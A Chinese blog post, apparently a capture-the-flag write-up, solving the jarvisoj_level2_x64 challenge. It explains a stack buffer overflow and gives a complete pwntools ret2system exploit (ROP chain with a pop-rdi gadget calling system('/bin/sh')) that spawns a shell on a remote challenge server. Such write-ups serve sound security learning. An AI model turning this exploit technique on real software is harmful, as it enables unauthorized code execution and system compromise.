当前位置:网站首页>jarvisoj_level2_x64
jarvisoj_level2_x64
2022-06-25 22:35:00 【[mzq]】
jarvisoj_level2_x64
题目地址 : https://buuoj.cn/challenges#jarvisoj_level2_x64
checksec 一下,64位程序 开的保护影响不大(nx栈不可执行,也就是不能往栈上写shellcode)

main函数
主要是调用了vuln函数,其他没问题

vulnerable_function函数
首先这个函数调用了system函数,这就使得plt表中存在system,且可以被我们调用,然后read读取了0x200个字符串,这比buf到rbp的距离0x80还要大,这又使得我们可以对return
addr进行覆盖,再然后呢就是这个程序竟然存在/bin/sh字符串,我们可以通过system直接获得shell

/bin/sh字符串
exp
from pwn import *
io = process("./level2_x64")
io = remote("node4.buuoj.cn",28824)
elf = ELF("./level2_x64")
context(log_level="debug",arch="amd64",os="linux")
system_addr = elf.symbols["system"]
binsh_addr = next(elf.search("/bin/sh"))
main_addr = elf.symbols["main"]
rdi_ret_addr = 0x00000000004006b3
ret_addr = 0x00000000004004a1
payload = flat(["a"*0x80,"aaaabbbb",rdi_ret_addr,binsh_addr,ret_addr,system_addr])
io.sendlineafter("Input:",payload)
io.interactive()
边栏推荐
猜你喜欢

86. (cesium chapter) cesium overlay surface receiving shadow effect (gltf model)

7. common instructions (Part 2): common operations of v-on, v-bind and V-model

1-10vmware builds customized network architecture

Redisson 3.17.4 发布

Daily question brushing record (IV)

Redisson 3.17.4 release

The problem of low video memory in yolov5 accelerated multi GPU training

删库跑路、“投毒”、改协议,开源有哪几大红线千万不能踩?

Xiaohongshu microservice framework and governance and other cloud native business architecture evolution cases

渗透工具-Burpsuite
随机推荐
How to design the product roadmap?
"Method not allowed", 405 problem analysis and solution
Atlas200dk brush machine
The problem of low video memory in yolov5 accelerated multi GPU training
86. (cesium chapter) cesium overlay surface receiving shadow effect (gltf model)
How ASA configures port mapping and pat
Camkiia et gcamp6f sont - ils les mêmes?
redux工作流程讲解+小例子
How product managers control the progress of product development
Methods of modifying elements in JS array
How to deliver a shelter hospital within 48 hours?
Atlas200dk刷机
7. common instructions (Part 2): common operations of v-on, v-bind and V-model
CaMKIIa和GCaMP6f是一样的嘛?
Deploy Ogg on the same machine and test
Learn to identify follow-up questions in dialogue Q & A
Compile the telegraph desktop side (tdesktop) using vs2022
SQL按某字段去重 保留按某个字段排序最大值
oracle RAC 集群无法启动
使用VS2022編譯Telegram桌面端(tdesktop)